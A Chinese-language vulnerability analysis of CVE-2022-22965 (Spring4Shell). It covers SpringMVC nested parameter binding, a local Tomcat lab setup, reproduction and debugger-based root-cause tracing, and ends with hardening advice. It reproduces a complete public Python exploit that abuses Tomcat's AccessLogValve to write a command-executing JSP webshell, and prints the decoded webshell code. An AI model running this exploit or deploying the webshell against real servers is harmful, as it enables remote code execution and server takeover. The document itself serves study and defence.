一、前置知識
SpringMVC參數綁定
爲了方便編程,SpringMVC支持將HTTP請求中的的請求參數或者請求體內容,根據Controller方法的參數,自動完成類型轉換和賦值。之後,Controller方法就可以直接使用這些參數,避免了需要編寫大量的代碼從HttpServletRequest中獲取請求數據以及類型轉換。這個特性類似PHP中的register_globals機制。
下面是一個簡單的示例:
新建一個maven項目
pom.xml內容如下:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.6.3</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>org.example</groupId> <artifactId>CVE-2022-22965_beans_bind_rce</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <!-- <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> --> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> <scope>provided</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot</artifactId> <version>2.7.8</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> <plugin> <configuration> <source>1.8</source> <target>1.8</target> </configuration> <artifactId>maven-compiler-plugin</artifactId> </plugin> </plugins> </build> </project>
編寫SpringBoot的啓動類:
package org.example; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; @SpringBootApplication public class ApplicationMain extends SpringBootServletInitializer { @Override protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) { return builder.sources(ApplicationMain.class); } public static void main(String[] args) { SpringApplication.run(ApplicationMain.class, args); } }
將SpringMVC參數綁定中的User類、UserController類、Department類添加到項目中。
UserController.java
package org.example; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class UserController { @RequestMapping("/addUser") public @ResponseBody String addUser(User user) { return "OK"; } }
User.java
package org.example; public class User { private String name; private Department department; public String getName() { return name; } public void setName(String name) { this.name = name; } public Department getDepartment() { return department; } public void setDepartment(Department department) { this.department = department; } }
Department.java
package org.example; public class Department { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }
執行maven打包命令,將項目打包爲war包,
將項目中target目錄裏打包生成的CVE-2022-22965_beans_bind_rce-1.0-SNAPSHOT.war,部署到Tomcat的webapps目錄下。
訪問應用:
http://localhost:8080/CVE_2022_22965_beans_bind_rce_war_exploded/addUser?name=test&department.name=SEC
當請求爲/addUser?name=test&department.name=SEC時,public String addUser(User user)中的user參數內容如下:
可以看到,name自動綁定到了user參數的name屬性上,department.name自動綁定到了user參數的department屬性的name屬性上。
注意department.name這項的綁定,表明SpringMVC支持多層嵌套的參數綁定。實際上department.name的綁定是Spring通過如下的調用鏈實現的:
User.getDepartment()
Department.setName()
假設請求參數名爲foo.bar.baz.qux,對應Controller方法入參爲Param,則有以下的調用鏈:
Param.getFoo() Foo.getBar() Bar.getBaz() Baz.setQux() // 注意這裏爲set
SpringMVC實現參數綁定的主要類和方法是WebDataBinder.doBind(MutablePropertyValues)。
Java Bean PropertyDescriptor
PropertyDescriptor是JDK自帶的java.beans包下的類,意爲屬性描述器,用於獲取符合Java Bean規範的對象屬性和get/set方法。
下面是一個簡單的例子:
package org.example; import java.beans.BeanInfo; import java.beans.Introspector; import java.beans.PropertyDescriptor; public class PropertyDescriptorDemo { public static void main(String[] args) throws Exception { User user = new User(); user.setName("foo"); BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class); PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors(); PropertyDescriptor userNameDescriptor = null; for (PropertyDescriptor descriptor : descriptors) { if (descriptor.getName().equals("name")) { userNameDescriptor = descriptor; System.out.println("userNameDescriptor: " + userNameDescriptor); System.out.println("Before modification: "); System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user)); userNameDescriptor.getWriteMethod().invoke(user, "bar"); } } System.out.println("After modification: "); System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user)); } }
從上述代碼和輸出結果可以看到,PropertyDescriptor實際上就是Java Bean的屬性和對應get/set方法的集合。
Spring BeanWrapperImpl
在Spring中,BeanWrapper接口是對Bean的包裝,定義了大量可以非常方便的方法對Bean的屬性進行訪問和設置。
BeanWrapperImpl類是BeanWrapper接口的默認實現,BeanWrapperImpl.wrappedObject屬性即爲被包裝的Bean對象,BeanWrapperImpl對Bean的屬性訪問和設置最終調用的是PropertyDescriptor。
package org.example; import org.springframework.beans.BeanWrapper; import org.springframework.beans.BeanWrapperImpl; public class BeanWrapperDemo { public static void main(String[] args) throws Exception { User user = new User(); user.setName("foo"); Department department = new Department(); department.setName("SEC"); user.setDepartment(department); BeanWrapper userBeanWrapper = new BeanWrapperImpl(user); userBeanWrapper.setAutoGrowNestedPaths(true); System.out.println("userBeanWrapper: " + userBeanWrapper); System.out.println("Before modification: "); System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name")); System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name")); userBeanWrapper.setPropertyValue("name", "bar"); userBeanWrapper.setPropertyValue("department.name", "IT"); System.out.println("After modification: "); System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name")); System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name")); } }
從上述代碼和輸出結果可以看到,通過BeanWrapperImpl可以很方便地訪問和設置Bean的屬性,比直接使用PropertyDescriptor要簡單很多。
Tomcat AccessLogValve 和 access_log
Tomcat的Valve用於處理請求和響應,通過組合了多個Valve的Pipeline,來實現按次序對請求和響應進行一系列的處理。- directory:access_log文件輸出目錄。
- prefix:access_log文件名前綴。
- pattern:access_log文件內容格式。
- suffix:access_log文件名後綴。
- fileDateFormat:access_log文件名日期後綴,默認爲.yyyy-MM-dd。
二、漏洞復現
http://localhost:8080/CVE_2022_22965_beans_bind_rce_war_exploded/addUser
從 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下載POC文件,
#coding:utf-8 import requests import argparse from urllib.parse import urljoin def Exploit(url): headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded" } data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" try: requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False) shellurl = urljoin(url, 'tomcatwar.jsp') shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False) if shellgo.status_code == 200: print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami") except Exception as e: print(e) pass def main(): parser = argparse.ArgumentParser(description='Spring-Core Rce.') parser.add_argument('--file',help='url file',required=False) parser.add_argument('--url',help='target url',required=False) args = parser.parse_args() if args.url: Exploit(args.url) if args.file: with open (args.file) as f: for i in f.readlines(): i = i.strip() Exploit(i) if __name__ == '__main__': main()
執行如下命令:
python3 poc.py —-url http://localhost:8080/CVE_2022_22965_beans_bind_rce_war_exploded/addUser
瀏覽器中訪問 http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,復現漏洞。
三、漏洞原理分析
POC分析
我們從POC入手進行分析。通過對POC中的data URL解碼後可以拆分成如下5對參數。
1、pattern參數
- 參數名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
- 參數值:%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
很明顯,這個參數是SpringMVC多層嵌套參數綁定。
我們在SpringMVC參數綁定的主要方法WebDataBinder.doBind(MutablePropertyValues)上設置斷點。
經過一系列的調用邏輯後,我們來到AbstractNestablePropertyAccessor,getPropertyAccessorForPropertyPath(String)方法。
該方法通過遞歸調用自身,實現對class.module.classLoader.resources.context.parent.pipeline.first.pattern的遞歸解析,設置整個調用鏈。
我們重點關注這行代碼,
AbstractNestablePropertyAccessor nestedPa = this.getNestedPropertyAccessor(nestedProperty);
該行主要實現每層嵌套參數的獲取。我們在該行設置斷點,查看每次遞歸解析過程中各個變量的值,以及如何獲取每層嵌套參數。
第一輪迭代
進入getPropertyAccessorForPropertyPath(String)方法前:
- this:User的BeanWrapperImpl包裝實例
- propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedProperty:class,即本輪迭代需要解析的嵌套參數
進入方法,經過一系列的調用邏輯後,最終來到BeanWrapperImpl,BeanPropertyHandler.getValue()方法中。可以看到class嵌套參數最終通過反射調用User的父類java.lang.Object.getClass(),獲得返回java.lang.Class實例。
getPropertyAccessorForPropertyPath(String)方法返回後:
- this:User的BeanWrapperImpl包裝實例
- propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern,作爲下一輪迭代的propertyPath
- nestedProperty:class,即本輪迭代需要解析的嵌套參數
- nestedPa:java.lang.Class的BeanWrapperImpl包裝實例,作爲下一輪迭代的this
經過第一輪迭代,我們可以得出第一層調用鏈:
- User.getClass()
- java.lang.Class.get???() // 下一輪迭代實現
第二輪迭代
module嵌套參數最終通過反射調用java.lang.Class.getModule(),獲得返回java.lang.Module實例。
經過第二輪迭代,我們可以得出第二層調用鏈:
- User.getClass()
- java.lang.Class.getModule()
- java.lang.Module.get???() // 下一輪迭代實現
第三輪迭代
classLoader嵌套參數最終通過反射調用java.lang.Module.getClassLoader(),獲得返回org.apache.catalina.loader.ParallelWebappClassLoader實例。
- 經過第三輪迭代,我們可以得出第三層調用鏈:
- User.getClass()
- java.lang.Class.getModule()
- java.lang.Module.getClassLoader()
- org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一輪迭代實現
接着按照上述調試方法,依次調試剩餘的遞歸輪次並觀察相應的變量,最終可以得到如下完整的調用鏈:
- User.getClass()
- java.lang.Class.getModule()
- java.lang.Module.getClassLoader()
- org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
- org.apache.catalina.webresources.StandardRoot.getContext()
- org.apache.catalina.core.StandardContext.getParent()
- org.apache.catalina.core.StandardHost.getPipeline()
- org.apache.catalina.core.StandardPipeline.getFirst()
- org.apache.catalina.valves.AccessLogValve.setPattern()
可以看到,pattern參數最終對應AccessLogValve.setPattern(),即將AccessLogValve的pattern屬性設置爲:
%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
也就是access_log的文件內容格式。
我們再來看pattern參數值,除了常規的Java代碼外,還夾雜了三個特殊片段。通過翻閱AccessLogValve的父類AbstractAccessLogValve的源碼,可以找到相關的文檔:
即通過AccessLogValve輸出的日誌中可以通過形如%{param}i等形式直接引用HTTP請求和響應中的內容。
結合poc.py中headers變量內容:
headers = {“suffix”:”%>//“, “c1”:”Runtime”, “c2”:”<%”, “DNT”:”1”, “Content-Type”:”application/x-www-form-urlencoded” }
最終可以得到AccessLogValve輸出的日誌實際內容如下(已格式化):
<% if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//
很明顯,這是一個JSP webshell。
這個webshell輸出到了哪兒?名稱是什麼?能被直接訪問和正常解析執行嗎?我們接下來看其餘的參數。
2、suffix參數
- 參數名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
- 參數值:.jsp
按照pattern參數相同的調試方法,suffix參數最終將AccessLogValve.suffix設置爲.jsp,即access_log的文件名後綴。
3、directory參數
- 參數名:class.module.classLoader.resources.context.parent.pipeline.first.directory
- 參數值:webapps/ROOT
按照pattern參數相同的調試方法,directory參數最終將AccessLogValve.directory設置爲webapps/ROOT,即access_log的文件輸出目錄。
這裏提下webapps/ROOT目錄,該目錄爲Tomcat Web應用根目錄。部署到目錄下的Web應用,可以直接通過http://localhost:8080/根目錄訪問。
4、prefix參數
- 參數名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
- 參數值:tomcatwar
5、fileDateFormat參數
- 參數名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
- 參數值:空
按照pattern參數相同的調試方法,fileDateFormat參數最終將AccessLogValve.fileDateFormat設置爲空,即access_log的文件名不包含日期。
6、總結
概括一下以上過程:
通過請求傳入的參數,利用SpringMVC參數綁定機制(任意類成員變量註冊機制),(通過反射,跨類)控制了Tomcat AccessLogValve的屬性,讓Tomcat在webapps/ROOT目錄輸出定製的“訪問日誌”tomcatwar.jsp,該“訪問日誌”實際上爲一個JSP webshell。
漏洞利用關鍵點
1、關鍵點一:Web應用部署方式
從java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是將調用鏈轉移到Tomcat,並最終利用AccessLogValve輸出webshell的關鍵。
ParallelWebappClassLoader在Web應用以war包部署到Tomcat中時使用到。
現在很大部分公司會使用SpringBoot可執行jar包的方式運行Web應用,在這種方式下,我們看下classLoader嵌套參數被解析。使用SpringBoot可執行jar包的方式運行,classLoader嵌套參數被解析爲org.springframework.boot.loader.LaunchedURLClassLoader,查看其源碼,沒有getResources()方法。
這就是爲什麼本漏洞利用條件之一,Web應用部署方式需要是Tomcat war包部署。
2、關鍵點二:JDK版本
在AbstractNestablePropertyAccessor nestedPa = this.getNestedPropertyAccessor(nestedProperty);調用的過程中,實際上Spring做了一道防禦。
Spring使用org.springframework.beans.CachedIntrospectionResults緩存並返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。
在CachedIntrospectionResults()方法中,
該行的意思是:當Bean的類型爲java.lang.Class時,不返回classLoader和protectionDomain的PropertyDescriptor。
Spring在構建嵌套參數的調用鏈時,會根據CachedIntrospectionResults緩存的PropertyDescriptor進行構建。不返回,也就意味着class.classLoader…這種嵌套參數走不通,即形如下方的調用鏈:
- Foo.getClass()
- java.lang.Class.getClassLoader()
- BarClassLoader.getBaz()
- ……
這在JDK<=1.8都是有效的。但是在JDK 1.9之後,Java爲了支持模塊化,在java.lang.Class中增加了module屬性和對應的getModule()方法,自然就能通過如下調用鏈繞過判斷:
- Foo.getClass()
- java.lang.Class.getModule() // 繞過
- java.lang.Module.getClassLoader()
- BarClassLoader.getBaz()
- ……
參考鏈接:
https://www.cnblogs.com/szrs/p/15187233.html https://blog.csdn.net/fengchao2016/article/details/83023725 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py https://www.anquanke.com/post/id/272149
四、漏洞延伸思考
通過將代碼輸出到日誌文件,並控制日誌文件被解釋執行,這在漏洞利用方法中也較爲常見。通常事先往服務器上寫入包含代碼的“日誌”文件,並利用文件包含漏洞解釋執行該“日誌”文件。寫入“日誌”文件可以通過Web服務中間件自身的日誌記錄功能順帶實現,也可以通過SQL注入、文件上傳漏洞等曲線實現。
與上文不同的是,本次漏洞並不需要文件包含而是可以直接寫入JSP Webshell。究其原因,Java Web服務中間件自身也是用Java編寫和運行的,而部署運行在上面的Java Web應用,實際上是Java Web服務中間件進程的一部分,兩者間通過Servlet API標準接口在進程內部進行“通訊”。依靠Java語言強大的運行期反射能力,給予了攻擊者可以通過Java Web應用漏洞進而攻擊Java Web服務中間件的能力。
本次漏洞中,攻擊者可以利用Web應用自身的Spring漏洞,通過跨類調用鏈,進而修改了Web服務中間件Tomcat的access_log配置內容,直接輸出可執行的“日誌”文件到Web 應用目錄下。
在日常開發中,應該嚴格控制Web應用可解釋執行目錄爲只讀不可寫,日誌、上傳文件等運行期可以修改的目錄應該單獨設置,並且不可執行。
本次漏洞雖然目前調用鏈中僅利用到了Tomcat,但只要存在一個從Web應用到Web服務中間件的class.module.classLoader….合適調用鏈,理論上Jetty、Weblogic、Glassfish等也可利用。另外,目前通過寫入日誌文件的方式,也可能通過其它文件,比如配置文件,甚至是內存馬的形式出現。